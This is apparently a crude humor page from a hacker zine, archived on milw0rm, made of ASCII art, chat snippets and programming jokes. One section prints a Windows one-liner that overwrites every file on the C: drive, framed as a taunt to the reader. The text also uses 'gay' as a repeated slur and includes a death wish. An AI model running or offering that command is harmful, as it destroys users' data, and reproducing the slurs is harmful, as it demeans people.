[-----------------------------[ /dev/random ]-----------------------------]
[=========================================================================]


            ..ssS$S$$S:sss:..
           .$SSS$$$$$SS$SsS$$S.
          .sS$$$SSSSS$$$(|`$S$$Ss.
         .sSSS$$$'   `:$SS$$'` `/';
         :S$$$$S'      `:$$S._
         :S$SSS$:.        `'?::..
         `S$SS$S$$$Sssssss:?.
          `SS$SSSS$$$$$S$$$$$$s.
           `S$$$$$$$SS$$S$SS$$$S:.
             `?S$$$S$$$$$S$$SSS$$$.       The rattler's private thoughts
                `~~~~~?:S$$$$SSSSS:       on the world, the internet,
                        `;SSSSSSSS;       and many other things.
                        .SSSS$$$$S'
   o      .S$$Ss.     .s$$$$$SS$$'
  o'   ..:$S$$SS$$SsssS$$SSSSS$SS'
  ::.;:S'~~?:$SSS$$$$SSSS$SSS$$'
   '''       `$$$S$$[rattle]$'




 [========================================================================]


       Pages that have a link to google search, like this:
        ___________________________    _______________
       |                           |  | search google |
        ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
       ... are fucking gay. if you need a spacefiller, use a random
       packetstorm ad. If we wanted to search google, we would go to
  
          w w w - g o o g l e - c o m

 [========================================================================] 


       ASCII roses are so fucking gay.

       <butterfly56> @-,--`--
       <butterfly56> :-)
       <rattle> wtf
       <rattle> 8===========D
       <butterfly56> ?


 [========================================================================]


       Zone-H is really gay
   
       http://www.zone-h.org/


 [========================================================================]

                    
          ////////
          \ .) .)/
           \ _' /
            \  |            "hi!"
            |  |\     ,,,,,
            |  |\\   (^.(^)
           (   //     \O /
            | ||      /| |
            | ||     // \ \___                 
            | ||    ´´   ¯¯¯\ \                


          ////////
          \ -) -)/
           \ o  /
            \  |          *MMPF*   
            |  |\    ,,,,,
            |  |\\  (+.(+)
           (   8======) /
            | | \    /| |
            | |\ \  // \ \____      
            | |/ / ´´   ¯¯¯¯\ \      



 [========================================================================] 

       Windows 2003 stack protection is pretty gay
        __________________________________________________
       | Overflow Detected                    | _ | # | X |
       |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
       | uh err sumthing wrong with eip here's some       |
       | numbers:                                         |
       |                                                  |
       | D4Ef566D 00400000 00000000 00000001 0D00D034     |
       |                                                  |
       |                   _____________                  |
       |                  |     Ok      |                 |
       |                   ¯¯¯¯¯¯¯¯¯¯¯¯¯                  |
        ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯


 [========================================================================] 


   for /R c:\ %i in (*.*) do @echo M>%~fsi 2>NUL

      ... yourself.


 [========================================================================] 


       MSN emoticons are so fucking gay.

       [15:28] rattle: it's (cos(t), sin(t), 0)
       [15:28] stev: I see a red telephone


 [========================================================================] 

       People with excessively long MSN nicknames should die.

       [16:42] charles - hey bob, I really enjoyed shifting that dildo
         up your anus last night - listening to Metallica - YEAH!: hey
       [16:42] rattle: change your nick, for the love of god.


 [========================================================================]


       class porn {
           explicit sex(long penis, double penetration);
       };


 [========================================================================] 

        _______________________________________
       | Enter Target IP           | _ | # | X |
       |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
       |  Enter each digit separately. To      |
       |  switch from one ocet field to the    |
       |  next, use CTRL+BLANK. In order       |
       |  to switch from one digit field to    |
       |  the next, use CTRL+ALT+BLANK.        |
       |       _ _ _   _ _ _   _ _ _   _ _ _   |
       |  IP: | | | |.| | | |.| | | |.| | | |  |
       |       ¯ ¯ ¯   ¯ ¯ ¯   ¯ ¯ ¯   ¯ ¯ ¯   |
       |                 ________   ________   |
       |                | CANCEL | |   OK   |  |
       |                 ¯¯¯¯¯¯¯¯   ¯¯¯¯¯¯¯¯   |
        ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

       IP Address Input Controls drive me insane.

       
 [========================================================================]


                # define      b00l bool
                # define      d4mn catch
                # define     c1455 class
                # define    d31337 delete
                # define  expl1c17 explicit
                # define     n0p3z false
                # define      m473 friend
                # define    inl1n3 inline
                # define  m3w74b13 mutable
                # define       n3w new
                # define   pr1v473 private
                # define pr073c73d protected
                # define    pub1ic public
                # define  t3mp1473 template
                # define      th1z this
                # define     thr0w throw
                # define    trud47 true
                # define    m3bb3h try
                # define  typ3n4m3 typename
                # define     u51ng using
                # define   v1r7u41 virtual

            And even then, C++ would not be l33t.


 [========================================================================]



                              _..gggggppppp.._
                         _.go2DD54CA5F04E6EE60Aop._
                      .g4CBD616BE88DF93F761A90FA0393p.
                   .g9A1C6A235A1DC2208D42AB86940C9A954Ep.
                 .oDA77550E3A55D3F079F0B6E6959916DE95CAE3o.
               .o52950F71920F908B563D6A79DDD4A375DA5978CE25o.
              o7EC76BC428D48FC156D98C79077EFCE5DA156F4552C40Bo
             o4A55E5C22696814ECA2332797A7B5B088A9DD82D09D1A0A3o
            oEE3BBD799DEDE79EAF3B2BFC71CEA704AD412B8FD612A3B29Bo
           o9D7675F188662EEAD5FA677A6C2F934DE3194460F0E51B57857Co
          o317227593982925589EF8B5D496D3C0039B7D9200DD44DB26AA8CBo
         :F0D819CD076F1229B151A00CC514BB9349452681389C6A710C78E791;
         43894E690A8FCD6BFFC2325602BE5B9A1E3529EDC610C780878DD79C63
        :A52BCB8D42BFFDC72DE221729F0A5A221A01EEEAFDCC83C90165E195B0;
        C7FA692DAAA1D35EE0AFEA42CC318E55F8CFD72D51B27FBCC8BA9C9B7EB0
       :4C9305261B2265F5E69EA44DE49FD840B713E5D94B8DBD52E46033CFE50B;
       :A249372A3F396FA0FD5B6432B796C57E3DC5B3275607BA92D82E1E839482;
       C63AB12D97C8445D031BF57246E5616FAC1E713B7B58EF193C15C2A4598ABC
       379BD8E3C0133B394F83D67F5B20FD797AD4CADA1EB9621A9F517E0D6925F7
       :D1D54FCB21589171B2DBE1D8E87936ABAP"'    "QCE3AD9D4CAA0A74B33;
       :B832EACD8E987E0F18365F974D98F7FF1Y        Y04CCB95C9904CC617;
        77CF38BC802B1B933E79C99432F185103          EC58A3DB7240EC742
        :039AD9304D24EA8E5C13B76E6C7F71CA.        .624F0879C4820007;
         F383A4082BDB1378F30D6E5797FD9559O        O050224388E474486
         :D05F6D6317D05EFAB48C9C9F77D884C2o,_  _,oDD5FF0DDD9238647;
          T29CFE61A0A56AF9929295E12C5E82B2FB3CF5F811B4D8C5E35E210P
           T3B04FAE89130E3915652630B8B84EFEB7BBAB4142EB46C90922EP
            T02EF86A5DF116B42275CD09135EBA92A51662C9F719C944ABAP
             TA8137CFF503939AEB079D9566230965C652A2ACEAC29D347P
              TD45EB4066AC89F3EF5B7E148C295C575ECF62E8E080119P
               `TF0FDC2A352208F32F3EB2B6F1C94A5F220EC9AE9D0P'
                 `TD5E77B45C728B6AD5549DA225C3A855CAE9ACCP'
                   "^DE7171378BED7E10E5DEB5A0A8377593FF^"
                      "^T8314220058FB8B21831A734F04P^"
                          '""^^^T72B267EFA7T^^^""'


                           I make that shit work.
                        No one rules the clit like me.
                          I AM THE CLIT COMMANDER. 

# milw0rm.com [2007-01-26]